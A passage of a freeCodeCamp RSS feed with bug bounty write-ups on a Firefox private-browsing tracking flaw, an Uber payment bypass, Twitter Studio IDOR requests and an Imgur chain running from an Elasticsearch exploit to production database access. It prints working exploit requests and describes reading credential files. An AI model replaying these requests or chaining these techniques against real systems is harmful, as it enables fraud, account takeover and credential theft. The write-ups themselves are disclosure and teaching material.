<p><a target="_blank" href="https://www.freecodecamp.org/news/i-bypassed-how-i-hacked-googles-bug-tracking-system-itself-for-15-600-in-bounties-here-s-how-3355c8c63955/undefined">Gopal Singh</a> (<a target="_blank" href="https://twitter.com/gopalsinghcse">https://twitter.com/gopalsinghcse</a>)</p>
 ]]>
                </content:encoded>
            </item>
        
            <item>
                <title>
                    <![CDATA[ I found a major flaw in Mozilla’s private browsing mode. ]]>
                </title>
                <description>
                    <![CDATA[ By Konark Modi If left unfixed this flaw could have wreaked havoc but Mozilla’s prompt fixes saved the day. In this article, I’ll discuss details of a bug I discovered with Mozilla Firefox private browsing mode that made it possible for private brows... ]]>
                </description>
                <link>https://www.freecodecamp.org/news/breaking-bad-to-make-good-firefox-cve-2017-7843-219034357496/</link>
                <guid isPermaLink="false">66c3463b8ced2460cf9e9b56</guid>
                
                    <category>
                        <![CDATA[ bug bounty ]]>
                    </category>
                
                    <category>
                        <![CDATA[ #infosec ]]>
                    </category>
                
                    <category>
                        <![CDATA[ General Programming ]]>
                    </category>
                
                    <category>
                        <![CDATA[ Security ]]>
                    </category>
                
                    <category>
                        <![CDATA[ tech  ]]>
                    </category>
                
                <dc:creator>
                    <![CDATA[ freeCodeCamp ]]>
                </dc:creator>
                <pubDate>Sun, 22 Apr 2018 15:45:16 +0000</pubDate>
                <media:content url="https://cdn-media-1.freecodecamp.org/images/1*_wACV-5_7XXEx3uUSW4sUw.png" medium="image" />
                <content:encoded>
                    <![CDATA[ <p>By Konark Modi</p>
<p>If left unfixed this flaw could have wreaked havoc but Mozilla’s prompt fixes saved the day.</p>
<p>In this article, I’ll discuss details of a bug I discovered with Mozilla Firefox private browsing mode that made it possible for private browsing sessions to be tracked.</p>
<p><img src="https://cdn-media-1.freecodecamp.org/images/nQCoNGC0tbc9SPMGqEXmPNDFQAzj7iX6D9VC" alt="Image" width="600" height="400" loading="lazy"></p>
<p><a target="_blank" href="https://support.mozilla.org/en-US/kb/private-browsing-use-firefox-without-history">Private Browsing</a> is one of the most widely known and used features in modern browsers today. Browsers continually add <a target="_blank" href="https://blog.mozilla.org/security/2018/01/31/preventing-data-leaks-by-stripping-path-information-in-http-referrers/">many</a> enhancements to private browsing to enhance the users’ privacy.</p>
<p>The features offered might differ from one browser to another, but at the very least a user using private browsing has the two most basic requirements:</p>
<ol>
<li><p>Websites visited in private cannot save any data</p>
</li>
<li><p>Visited pages are not saved</p>
</li>
</ol>
<p>Well, I discovered that the Firefox browser Private browsing mode didn’t meet any of the above requirements.</p>
<h3 id="heading-technical-details"><strong>Technical Details</strong></h3>
<p>For a website to track a user across private browsing sessions, it needs to use some persistent storage at the browser level.</p>
<p>There are multiple ways of storing data in a browser - <a target="_blank" href="https://developer.mozilla.org/en-US/docs/Web/API/Storage/LocalStorage">LocalStorage</a>, <a target="_blank" href="http://www.w3.org/TR/webdatabase/">WebSQL</a> and <a target="_blank" href="https://developer.mozilla.org/en-US/docs/Web/API/IndexedDB_API">IndexedDB</a>.</p>
<p>I recently came across IndexedDB storage.</p>
<blockquote>
<p>IndexedDB is a low-level API for <strong>client-side storage of significant amounts of structured data, including files/blobs</strong> - Mozilla Developer Network</p>
</blockquote>
<p>Although, as per the documentation, IndexedDB should not be available in private browsing mode.</p>
<p><img src="https://cdn-media-1.freecodecamp.org/images/mGRjKaicfoCy9k30nF02RurfMy1nh1sM4WDS" alt="Image" width="600" height="400" loading="lazy"></p>
<p>If you use IndexedDB directly on the webpage, it will throw an error:</p>
<p><img src="https://cdn-media-1.freecodecamp.org/images/jGh-PWy46yvl9wWMU8DelSbEAxNy-rAA2C2b" alt="Image" width="600" height="400" loading="lazy"></p>
<p>But what happens if you combine IndexedDB with <a target="_blank" href="https://developer.mozilla.org/en-US/docs/Web/API/Web_Workers_API">Web Workers</a>?</p>
<blockquote>
<p>Web Workers makes it possible to <strong>run a script operation in background thread separate from the main execution thread</strong> of a web application - Mozilla Developer Network</p>
</blockquote>
<h3 id="heading-issue-details-the-fallout"><strong>Issue Details: The Fallout</strong></h3>
<p>IndexedDB can be accessed in private browsing mode via Web Workers. Not only that, but when the browser is closed, the IndexedDB data is not cleared. This stored <strong>data will persist across multiple private browsing sessions</strong> because it is not cleared when exiting. ?</p>
<p>So let’s look at a few ways this issue could be abused.</p>
<h4 id="heading-websites"><strong>Websites</strong></h4>
<p>A malicious website can leverage IndexedDB and track users across private browsing sessions. For example, say you visited <strong>badsite.com,</strong> which uses Web Workers and IndexedDB in private browsing mode. Close the private browsing window, close Firefox, start Firefox again, start private browsing mode, and again visit badsite.com. The website will be able to access the data from your previous private browsing session, as the data is still stored in IndexedDB.</p>
<h4 id="heading-third-parties"><strong>Third-parties</strong></h4>
<p>Let’s assume <strong>siteA.com</strong> loads an analytics script from <strong>BadAnalyticsSite.com.</strong> Then another website, <strong>siteB.com</strong>, also loads an analytics script from the same website <strong>BadAnalyticsSite.com</strong>. Since the malicious website <strong>BadAnalyticsSite.com</strong> uses Web Workers and IndexedDB, the website <strong>BadAnalyticsSite.com</strong> can now track users of websites <strong>siteA.com</strong> and <strong>siteB.com</strong> across all their private browsing sessions.</p>
<h4 id="heading-disk-leaks"><strong>Disk leaks</strong></h4>
<p><a target="_blank" href="https://developer.mozilla.org/en-US/docs/Web/API/IndexedDB_API/Basic_Concepts_Behind_IndexedDB">IndexedDB adheres to a same-origin policy</a>, which means that every database has a name that identifies it within an origin. Because domain name is used as part of the file name, this can result in serious issues when used in private mode.</p>
<p>For example, if a user visits a <a target="_blank" href="https://cdn.cliqz.com/browser-f/fun-demo/test-webworker-indexed-db.html">test webpage</a> (demo) which uses Web Workers + IndexedDB hosted on <code>cdn.cliqz.com</code>, and loads a resource from <code>konarkmodi.github.io</code>, the following two entries are created on disk.</p>
<p><img src="https://cdn-media-1.freecodecamp.org/images/7Lvp2fMquDHAQMbhxaLe9U3O-nfHbtzBQaUf" alt="Image" width="600" height="400" loading="lazy">
<em>Location of IndexedDB: <code>profile/storage</code> lists Poc web pages.</em></p>
<p>Because of the above flaw, a website/tracker could effectively generate a fingerprint and save it. Even if a user were to clear the website history or select the option “forget about this site,” the IndexDB storage is not removed. This can create a permanent storage for a website or a tracker that can be leveraged forever.</p>
<h3 id="heading-report-and-fixes"><strong>Report and Fixes</strong></h3>
<p>Mozilla encourages security research for their products. In their own words:</p>
<blockquote>
<p>The Mozilla Client Security Bug Bounty Program is designed to encourage security research in Mozilla software and to reward those who help us create the safest Internet software in existence.</p>
</blockquote>
<p>I reported this issue in October 2017 via their <a target="_blank" href="https://www.mozilla.org/en-US/security/client-bug-bounty/">Bug Bounty Program</a>, and the issue was fixed in November 2017. They were prompt to identify and fix the issues.</p>
<p><img src="https://cdn-media-1.freecodecamp.org/images/OC0xoCmQYVA47kPOOHbrlrDdoOm1omUa2MOv" alt="Image" width="600" height="400" loading="lazy"></p>
<p>For more details, you can read the complete bug report at <a target="_blank" href="https://bugzilla.mozilla.org/show_bug.cgi?id=1410106">Mozilla’s Bugzilla</a>.</p>
<p>I really appreciate Mozilla’s efforts and actions in fixing issues with the highest priority when it comes to the privacy of its users.</p>
<p>Happy Hacking!</p>
<p>You can follow me on Twitter at <a target="_blank" href="https://twitter.com/konarkmodi">Konark Modi</a></p>
<p>Thanks for reading and sharing ! :)</p>
<p>If you liked this story, feel free to ??? a few times (Up to 50 times. Seriously).</p>
<p>_Credits: Special thanks to <a target="_blank" href="https://twitter.com/Pythux">Remi</a> and <a target="_blank" href="https://twitter.com/Pi_Modi">Pallavi</a> for reviewing this post :)_</p>
 ]]>
                </content:encoded>
            </item>
        
            <item>
                <title>
                    <![CDATA[ Here’s how I could’ve ridden for free with Uber ]]>
                </title>
                <description>
                    <![CDATA[ By AppSecure Summary This post is about a critical bug on Uber which could have been used by hackers to get unlimited free Uber rides anywhere in the world. This post also explains few best practices while integrating payment gateways. Description Ub... ]]>
                </description>
                <link>https://www.freecodecamp.org/news/how-anyone-could-have-used-uber-to-ride-for-free-36cdee5ea854/</link>
                <guid isPermaLink="false">66c34cce0fa3812cdd5ea9e4</guid>
                
                    <category>
                        <![CDATA[ bug bounty ]]>
                    </category>
                
                    <category>
                        <![CDATA[ Security ]]>
                    </category>
                
                    <category>
                        <![CDATA[ tech  ]]>
                    </category>
                
                    <category>
                        <![CDATA[ uber ]]>
                    </category>
                
                    <category>
                        <![CDATA[ Web App Security ]]>
                    </category>
                
                <dc:creator>
                    <![CDATA[ freeCodeCamp ]]>
                </dc:creator>
                <pubDate>Fri, 26 Jan 2018 10:43:53 +0000</pubDate>
                <media:content url="https://cdn-media-1.freecodecamp.org/images/1*cK-cejMVQq51oIX9C7M60A.jpeg" medium="image" />
                <content:encoded>
                    <![CDATA[ <p>By AppSecure</p>
<h3 id="heading-summary">Summary</h3>
<p>This post is about a critical bug on Uber which could have been used by hackers to get unlimited free Uber rides anywhere in the world. This post also explains few best practices while integrating payment gateways.</p>
<h3 id="heading-description">Description</h3>
<p>Uber Technologies Inc. is an online transportation network company, headquartered in San Francisco, California, with operations in 528 cities worldwide. Users can create their account on Uber.com and book a ride. When the ride is completed a user can either pay cash or charge it to their credit/debit card.</p>
<p>But, by specifying an invalid payment method (for example, abc, xyz, and so on), I was able to ride Uber for free.</p>
<p>To demonstrate the bug, I got permission from the Uber Team and took a free ride in India. I wasn’t charged for any of my rides, using the invalid payment method.</p>
<h3 id="heading-vulnerable-request">Vulnerable request:</h3>
<blockquote>
<p>POST /api/dial/v2/requests HTTP/1.1 Host: dial.uber.com {“start_latitude”:12.925151699999999,”start_longitude”:77.6657536,<br> “product_id”:”db6779d6-d8da-479f-8ac7–8068f4dade6f”,”payment_method_id”:”xyz”}</p>
</blockquote>
<h3 id="heading-steps-to-reproduce">Steps to reproduce:</h3>
<ol>
<li>Replayed the above request with random characters as payment_method_id.</li>
<li>Ride was free.</li>
</ol>
<h4 id="heading-video-poc">Video POC:</h4>
<p>Thanks to Uber Security team for fixing this quickly.</p>
<h3 id="heading-the-timeline">The timeline</h3>
<p>Aug 22nd 2016: Vulnerability Report to Uber.</p>
<p>Aug 26th 2016: Uber requested more information about the bug.</p>
<p>Aug 26th 2016: Took a free ride and replied with ride details</p>
<p>Aug 27th 2016: Vulnerability fixed by Uber.</p>
<p>Sep 10th 2016: Rewarded with $5000 bounty by Uber.</p>
<h3 id="heading-takeaways">Takeaways</h3>
<p>As a developer, you should always take care of the below test cases when integrating payments:</p>
<p>a) Verify if the payment was success or failure by doing a server to server request to payment gateway or verifying checksum to the payment gateway provider.</p>
<p>b) Always validate the amount of the item with the amount which was paid by the user to the payment gateway.</p>
<p>c) Validate currency in the payment API calls. For example, the attacker can pay 50 IDR for a 50 USD item.</p>
<p>d) If you are storing credit cards/debit card information, then always check for authorisation if an identifier is being passed in one of the API requests.</p>
<blockquote>
<p><a target="_blank" href="https://appsecure.in"><strong>AppSecure</strong></a> is a specialised cyber security company with years of skill acquired and meticulous expertise. We are here to safeguard your business and critical data from online and offline threats or vulnerabilities.</p>
<p>Contact us: <strong>hello@appsecure.in</strong></p>
</blockquote>
 ]]>
                </content:encoded>
            </item>
        
            <item>
                <title>
                    <![CDATA[ How I could have hacked all Twitter accounts (and how I earned $5,040 in bounties) ]]>
                </title>
                <description>
                    <![CDATA[ By AppSecure Summary This blog post is about an Insecure direct object reference vulnerability on Twitter. This vulnerability could have been used by attackers to undertake various activities. For example, they could tweet from other accounts, upload... ]]>
                </description>
                <link>https://www.freecodecamp.org/news/how-i-hacked-your-twitter-account-tweeting-viewing-deleting-photos-and-other-media-bf2cb3a18818/</link>
                <guid isPermaLink="false">66c34dcb93db2451bd441493</guid>
                
                    <category>
                        <![CDATA[ Application Security ]]>
                    </category>
                
                    <category>
                        <![CDATA[ bug bounty ]]>
                    </category>
                
                    <category>
                        <![CDATA[ Security ]]>
                    </category>
                
                    <category>
                        <![CDATA[ tech  ]]>
                    </category>
                
                    <category>
                        <![CDATA[ Twitter ]]>
                    </category>
                
                <dc:creator>
                    <![CDATA[ freeCodeCamp ]]>
                </dc:creator>
                <pubDate>Thu, 04 Jan 2018 05:26:16 +0000</pubDate>
                <media:content url="https://cdn-media-1.freecodecamp.org/images/1*LmBD9OaRAJPnBYBoZwyZMw.jpeg" medium="image" />
                <content:encoded>
                    <![CDATA[ <p>By AppSecure</p>
<h3 id="heading-summaryhttpsunsplashcomsearchphotoshackerutmsourceunsplashamputmmediumreferralamputmcontentcreditcopytext"><a target="_blank" href="https://unsplash.com/search/photos/hacker?utm_source=unsplash&amp;utm_medium=referral&amp;utm_content=creditCopyText">Summary</a></h3>
<p><a target="_blank" href="https://unsplash.com/search/photos/hacker?utm_source=unsplash&amp;utm_medium=referral&amp;utm_content=creditCopyText">This blog post is about an</a> <a target="_blank" href="https://www.owasp.org/index.php/Top_10_2013-A4-Insecure_Direct_Object_References">Insecure direct object reference</a> vulnerability on Twitter. This vulnerability could have been used by attackers to undertake various activities. For example, they could tweet from other accounts, upload videos on behalf of users, delete pics/videos from the victim’s account, or view private media uploaded by other twitter accounts. All endpoints on studio.twitter.com were vulnerable.</p>
<h3 id="heading-description"><strong>Description</strong></h3>
<p>Twitter is an online news and social networking service where users post and interact with messages, called “tweets”, restricted to 140 characters. Registered users can post tweets, but those who are unregistered can only read them. Users access Twitter through its website interface, SMS, or a mobile device app.</p>
<p>Twitter launched a new product named Twitter Studio (studio.twitter.com) in September 2016. I started looking out for security loopholes after the launch.</p>
<p>All API requests on studio.twitter.com were sending a parameter named “owner_id” which was the publicly available twitter user ID of the logged in user. The <code>Owner_id</code> parameter was missing authorisation checks for changes, which allowed me to take actions on behalf of other Twitter users.</p>
<h4 id="heading-vulnerable-request-1-tweeting-from-other-twitter-accounts"><strong>Vulnerable request #1 (Tweeting from other Twitter accounts.)</strong></h4>
<pre><code>POST /<span class="hljs-number">1</span>/tweet.json HTTP/<span class="hljs-number">1.1</span>Host: studio.twitter.com
</code></pre><pre><code>{“account_id”:”attacker’s account id”,”owner_id”:”victim’s user id”,”metadata”:{“monetize”:<span class="hljs-literal">false</span>,”embeddable_playback”:<span class="hljs-literal">false</span>,”title”:”Test tweet by attacker”,“description”:”attacker attacker”,”cta_type”:<span class="hljs-literal">null</span>,”cta_link”:<span class="hljs-literal">null</span>},”media_key”:””,“text”:”attacker attacker”}
</code></pre><p>Replaying the above request with the victim’s ID resulted in a tweet from the victim’s account.</p>
<h4 id="heading-vulnerable-request-2-upload-media-from-anothers-account"><strong>Vulnerable request #2 (Upload Media from another’s account)</strong></h4>
<pre><code>POST /<span class="hljs-number">1</span>/library/add.json HTTP/<span class="hljs-number">1.1</span>Host: studio.twitter.com
</code></pre><pre><code>{“account_id”:”attacker’s accountid”,”owner_id”:”victim’s id”,”metadata”:{“monetize”:<span class="hljs-literal">false</span>,”name”:”abcd.png”,”embeddable_playback”:<span class="hljs-literal">true</span>,”title”:”Attacker”,”description”:””,”cta_type”:<span class="hljs-literal">null</span>,”cta_link”:<span class="hljs-literal">null</span>},”media_id”:””,”managed”:<span class="hljs-literal">false</span>,”media_type”:”TweetImage”}
</code></pre><p>Replaying above request with the victim’s <code>owner_id</code> uploaded media from other user accounts.</p>
<h4 id="heading-vulnerable-request-3-delete-videos-of-other-accounts"><strong>Vulnerable request #3 (Delete videos of other accounts)</strong></h4>
<pre><code>POST /<span class="hljs-number">1</span>/library/remove.json HTTP/<span class="hljs-number">1.1</span>Host: studio.twitter.com
</code></pre><pre><code>{“account_id”:”attacker’s account id”,”owner_id”:”victim’s id”,”media_key”:”victim’s video id”}
</code></pre><p>Replaying the above request with victim’s user id and victim’s <code>media_key</code> deleted media from the victim’s account.</p>
<h4 id="heading-vulnerable-request-4-private-media-disclosure"><strong>Vulnerable request #4 (Private media disclosure)</strong></h4>
<p><code>GET /1/library/list.json?account_id=attacker’s account id&amp;owner_id=victim’s id&amp;limit=20&amp;offset=0 HTTP/1.1</code><br><code>Host: studio.twitter.com</code><br><code>User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.11; rv:37.0) Gecko/20100101 Firefox/37.0</code><br><code>Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8</code><br><code>Accept-Language: en-US,en;q=0.5</code><br><code>Accept-Encoding: gzip, deflate</code><br><code>Referer: [https://studio.twitter.com/library](https://studio.twitter.com/library)</code><br><code>Cookie:</code><br><code>Connection: keep-alive</code></p>
<p>Replaying the above request with the victim’s user ID and my account ID leaked all private media of the victim’s Twitter account in response.</p>
<h3 id="heading-video-proof-of-concept"><strong>Video Proof of concept</strong></h3>
<p>All tests were done on a friend’s account after getting his permission.</p>
<h4 id="heading-1-tweet-from-victims-account-private-media-leakage">#1 Tweet from victim’s account, Private media leakage</h4>
<h4 id="heading-2-delete-media-from-victims-tweets">#2 Delete media from victim’s tweets</h4>
<h3 id="heading-timeline"><strong>Timeline</strong></h3>
<h4 id="heading-29th-august-2016">29th August 2016</h4>
<p>Reported all findings to Twitter in 3 different reports, as the endpoints were different.</p>
<h4 id="heading-2nd-september-2016">2nd September 2016</h4>
<p>Received response from Twitter team saying we are looking into the issue and would be closing out other reports as duplicate, as they shared the same root cause — i.e. missing <code>owner_id</code> check.</p>
<h4 id="heading-3rd-september-2016">3rd September 2016</h4>
<p>Bounty of <strong>$5,040</strong> rewarded by Twitter</p>
<p>I’m the founder of <a target="_blank" href="https://appsecure.in">AppSecure</a>, a specialised cyber security company with years of skill acquired and meticulous expertise. We are here to safeguard your business and critical data from online and offline threats or vulnerabilities.</p>
<p>You can contact us at hello@appsecure.in</p>
 ]]>
                </content:encoded>
            </item>
        
            <item>
                <title>
                    <![CDATA[ Hacking Imgur for Fun and Profit ]]>
                </title>
                <description>
                    <![CDATA[ By Nathan So you think your memes are safe… Sorry not sorry. I’ve been meaning to write about this for a while. It all started back in July 2015 when I decided to look for vulnerabilities in Imgur, an incredibly popular image sharing platform. The r... ]]>
                </description>
                <link>https://www.freecodecamp.org/news/hacking-imgur-for-fun-and-profit-3b2ec30c9463/</link>
                <guid isPermaLink="false">66c34c079972b7c5c7624e74</guid>
                
                    <category>
                        <![CDATA[ bug bounty ]]>
                    </category>
                
                    <category>
                        <![CDATA[ imgur ]]>
                    </category>
                
                    <category>
                        <![CDATA[ information security ]]>
                    </category>
                
                    <category>
                        <![CDATA[ Security ]]>
                    </category>
                
                    <category>
                        <![CDATA[ Web Development ]]>
                    </category>
                
                <dc:creator>
                    <![CDATA[ freeCodeCamp ]]>
                </dc:creator>
                <pubDate>Fri, 29 Jul 2016 12:03:06 +0000</pubDate>
                <media:content url="https://cdn-media-1.freecodecamp.org/images/1*kACKGoXyE6b-f0aelUSF4Q.jpeg" medium="image" />
                <content:encoded>
                    <![CDATA[ <p>By Nathan</p>
<p>So you think your memes are safe…</p>
<p><img src="https://cdn-media-1.freecodecamp.org/images/R2XhuRff6Qm04ONevEE3yQWiCljMUNY7irD-" alt="Image" width="800" height="533" loading="lazy">
<em>Sorry not sorry.</em></p>
<p>I’ve been meaning to write about this for a while. It all started back in July 2015 when I decided to look for vulnerabilities in <a target="_blank" href="http://imgur.com/">Imgur</a>, an incredibly popular image sharing platform.</p>
<p>The reason I chose Imgur was because I frequently visited the site and I was already familiar with how the site worked. After a quick survey, I managed to identify some common vulnerabilities: XSS, clickjacking, and a whole load of CSRF issues.</p>
<p>Reporting the issues proved to be a little difficult. The only way I could see to contact Imgur was through their support system which wasn’t suitable for reporting security issues. Eventually, August 1st, I wrote up a report detailing the issues, shipped an email off to security@imgur.com, and waited. But not for long.</p>
<p>A couple of hours later, I received an email from Imgur’s founder and CEO, Alan Schaaf, thanking me and offering me some swag as a reward. Over the next few days I continued to forward them reports of vulnerabilities I discovered, including one which would later earn me over $5,000.</p>
<p>Things were quiet for a while. I occasionally checked to see if any of the issues had been fixed, and sure enough, many were. It was nice to know they were taking the issues seriously, and that I was helping secure the platform.</p>
<p>Then, in late September, <a target="_blank" href="https://www.reddit.com/r/technology/comments/3lw2g6/imgur_is_being_used_to_create_a_botnet_and_ddos/">Imgur got hacked</a>. Someone was able to upload an HTML file with malicious Javascript to Imgur and proceeded to target 8chan users.</p>
<p>This was quickly <a target="_blank" href="http://blog.imgur.com/2015/09/22/imgur-vulnerability-patched/">fixed,</a> however it was widely reported and clearly something Imgur wished hadn’t happened. In response, Imgur finally launched their <a target="_blank" href="http://blog.imgur.com/2015/09/30/imgurs-security-bug-bounty-program/">bug bounty program</a> a week later.</p>
<p>This was great news, as now people had a way of securely reporting issues. I contacted Alan once more asking if any of my reports were eligible for a bounty, and he put me in touch with one of Imgur’s developers, who confirmed I was eligible and asked me to create a report on <a target="_blank" href="https://hackerone.com/imgur">HackerOne</a>. For all the vulnerabilities I had reported — 20+ in total — $50 was my reward. The reason being “for the most part, we’re offering swag for CSRF reports, so you’re more of the exception here”.</p>
<p>Before Imgur created their bug bounty program, Imgur was riddled was CSRF vulnerabilities. Some, which have now been fixed, include: the ability to update the user’s bio, the ability to generate a new client secret for a given <a target="_blank" href="https://imgur.com/account/settings/apps">Imgur app,</a> and the ability to change the redirect URL for a given Imgur app. These were some of the issues I had initially reported, so to be rewarded with only $50 was quite disheartening.</p>
<p>However, the developer was clear: the program was new, and they were still learning and trying to improve it. With that in mind, I gave him a list of the issues I had reported and he confirmed there was much more in the reports than he had realized.</p>
<p>In the few weeks between discussing the issues and getting an additional reward, I discovered something else interesting.</p>
<p>During my initial research, I looked through Imgur’s HTML source code and found the following snippet:</p>
<pre><code>$(<span class="hljs-function"><span class="hljs-keyword">function</span>(<span class="hljs-params"></span>) </span>{ <span class="hljs-keyword">if</span>(!<span class="hljs-regexp">/^([^:]+:)\/\/([^.]+\.)*imgur(-dev)?\.com(\/.*)?$/</span>.test(<span class="hljs-built_in">document</span>.referrer)) { Imgur.Util.jafoLog({ <span class="hljs-attr">event</span>: ‘galleryDisplay’, <span class="hljs-attr">meta</span>: { <span class="hljs-attr">gallerySort</span>: ‘viral’, <span class="hljs-attr">galleryType</span>: ‘hot’ }}); } });
</code></pre><p>This led me to perform some recon on imgur-dev.com, which turned out to be the domain Imgur uses for internal development. A quick Google search for site:imgur-dev.com revealed Google had indexed the subdomain “alan.imgur-dev.com” which contained a development version of Imgur. The server, however, was down at the time. I was able to view a cached copy of the page which revealed some interesting information, including database tables and column names in SQL queries output by <a target="_blank" href="https://kohanaframework.org/3.1/guide/kohana/profiling">Kohana’s profiler</a>.</p>
<p>Fast forward to November, I decided to take another look at imgur-dev.com again. Boom! alan.imgur-dev.com was live and accessible. What did I find? It was essentially Imgur as you know it with a couple of users and a few test posts. What’s notable is it’s a developer’s environment — I could see stacktraces which included parts of Imgur’s source code, PHP warnings and notices, details about the environment, database queries, and full paths to configuration files.</p>
<p>With these details I created another report on HackerOne and waited for a response. Two days later, I took yet another look at alan.imgur-dev.com. This time I decided to use <a target="_blank" href="https://github.com/TheRook/subbrute">SubBrute</a> on alan.imgur-dev.com to see if there were any sub-subdomains which may be of interest.</p>
<p>Not longer after starting the scan, I got a hit: es.alan.imgur-dev.com. A quick visit showed it was an Elasticsearch server which hadn’t been updated in a while. In fact, after searching around for an Elasticsearch vulnerability, I discovered <a target="_blank" href="https://www.cve.mitre.org/cgi-bin/cvename.cgi?name=2014-3120">CVE-2014–3120</a>.</p>
<pre><code>The <span class="hljs-keyword">default</span> configuration <span class="hljs-keyword">in</span> Elasticsearch before <span class="hljs-number">1.2</span> enables dynamic scripting, which allows remote attackers to execute arbitrary MVEL expressions and Java code via the source parameter to _search.
</code></pre><p>Naturally, I grabbed a proof-of-concept script and tried reading /etc/passwd. Bingo. File read successfully. Now, the safe thing to do here would be to report the issue and move on. Not this time. Imgur was at the stage of offering $50 rewards and swag. I wasn’t happy with that. I decided to go further and see how badly I could pwn Imgur if I wanted to.</p>
<p>One configuration file I noticed earlier on was called “keys.php”. I decided to try and read it as I had done /etc/passwd, and once again it was a success. This file contained everything I needed. API keys for Fastly and MailChimp, mobile app API keys, even reCAPTCHA API keys. Sweet. But that’s not all… the file also contained the credentials used to connect to both the local and remote MySQL servers. Whoops.</p>
<p>The problem now was that I didn’t know the hostname of the remote MySQL server, and I can’t connect to the local one remotely. Wat do?</p>
<p>I went back to the scan of subdomains, and there was another hit. sql.alan.imgur-dev.com. Oh yes, you know what’s about to happen…</p>
<p>I visited the domain and was greeted by phpMyAdmin. Now, usually you’d expect to enter only the username and password to login. Luckily for me I was given a choice of hosts to connect to. One was the local server, and the other was a remote server hosted on Amazon AWS. I selected the remote server, entered the credentials, and I had full access to Imgur’s production database.</p>
<p>Well, there you have it, it was fun to write about… Oh, you thought that was it? That’s not all, folks.</p>
<p>The configuration file also contained two sets of Amazon <a target="_blank" href="https://aws.amazon.com/developers/access-keys/">AWS access keys</a> — one set for development and one set for production. So what did I do next?</p>
<p>Nothing.</p>
<p>Although I know I could have used the keys to spin up new servers, SSH into existing ones, or completely destroy them, I decided against even testing whether they worked.</p>
<p>An important part of security research is knowing when to stop.</p>
<p>I went far enough to prove how serious the issue is, and demonstrate what a malicious attacker could do, while not being overly careless or intrusive.</p>
<p>This needed to be fixed, and fast. I updated the HackerOne report with my new findings, and emailed Alan urgently to bring it to his attention. Within half an hour the server was offline. The next morning, Alan replied letting me know that access to the server was disabled while they figured out the next steps. I was incredibly impressed with how they handled it.</p>
<pre><code>A security group configuration error allowed Imgur development environments to face the public internet. Typically these environments were protected behind a special endpoint which would open access to authenticated Imgur employees <span class="hljs-keyword">for</span> a short time <span class="hljs-built_in">window</span>. Since the development environments were configured <span class="hljs-keyword">in</span> such a manner to make development easier, some keys and environment variables were exposed. While most <span class="hljs-keyword">of</span> these pieces <span class="hljs-keyword">of</span> sensitive information were limited to the development environments, some production information was also exposed. Since <span class="hljs-built_in">this</span> report was published, security around development environments has been completely re-worked and they now reside behind a VPN.
</code></pre><p>Moving forward to early December, for both the multiple vulnerabilities and the high risk issue I had reported, I was rewarded with $500. Needless to say, I wasn’t impressed. I decided to write a email to Alan giving my feedback on the program so far, and also explaining why $500 wasn’t enough.</p>
<pre><code>Bug bounties are like hiring mercenaries. Cheaper than a standing army <span class="hljs-keyword">of</span> pentesters. But don<span class="hljs-string">'t complain when they swap sides for more gold.</span>
</code></pre><p>A week later Alan replied, agreeing with the points I had made, and said the team would have a meeting about the program soon. I was pleased to hear my feedback was taken seriously. Sometimes it helps to talk to the CEO directly for real change to happen.</p>
<p>Forward once more to January 2016, Alan sent me a final email.</p>
<pre><code>Hey Nathan,Happy <span class="hljs-keyword">new</span> year! I was <span class="hljs-keyword">finally</span> able to sync up <span class="hljs-keyword">with</span> my team and come to a conclusion on <span class="hljs-built_in">this</span>. Since your exploit went above and beyond (contained several exploits all chained together, access to production data, etc), we want to go above and beyond <span class="hljs-keyword">for</span> you too, and have agreed to offer you an additional $<span class="hljs-number">5</span>,<span class="hljs-number">000.</span> This is so much higher than anything we<span class="hljs-string">'ve ever offered before, but again, this exploit was so much higher than anything that hasbeen found before, so I think it'</span>s deserving and I hope it<span class="hljs-string">'s sufficient for you.Thanks so much for protecting us and properly reporting it to us. Best of luck in the new year.Best,Alan</span>
</code></pre><p>This was fantastic news to receive. Not only did Imgur change their bug bounty program to pay out fairly to researchers, the additional $5,000 has helped myself and others incredibly. Half of that went to people in need, including <a target="_blank" href="https://freelauri.com/">Lauri Love,</a> a hacker facing extradition to the United States, and a close friend who was recently made homeless. Various charities and researchers also benefited from it.</p>
<p>I’ve continued to participate in Imgur’s bug bounty program, and while it’s not perfect, it’s responded and paid out nicely to myself and others. I hope other teams can learn from Imgur’s willingness to take on feedback and improve, as communication around security is so very important.</p>
<p>What’s next for me? I hope to continue learning and work to make the Internet a safer, securer environment for future generations. The Internet is tiny compared to what it will be in 10 years time. The battle isn’t over, and war is yet to come.</p>
<p>If you’re looking for a challenge, I highly recommend checking out Imgur’s bug bounty program and others on <a target="_blank" href="https://hackerone.com/imgur">HackerOne</a>.</p>
<p>You can follow me on <a target="_blank" href="https://twitter.com/NathOnSecurity">Twitter</a> where I tweet about security, the terrible British weather, and memes. Yeah. You know you want to… :-)</p>
 ]]>
                </content:encoded>
            </item>
        
    </channel>
</rss>
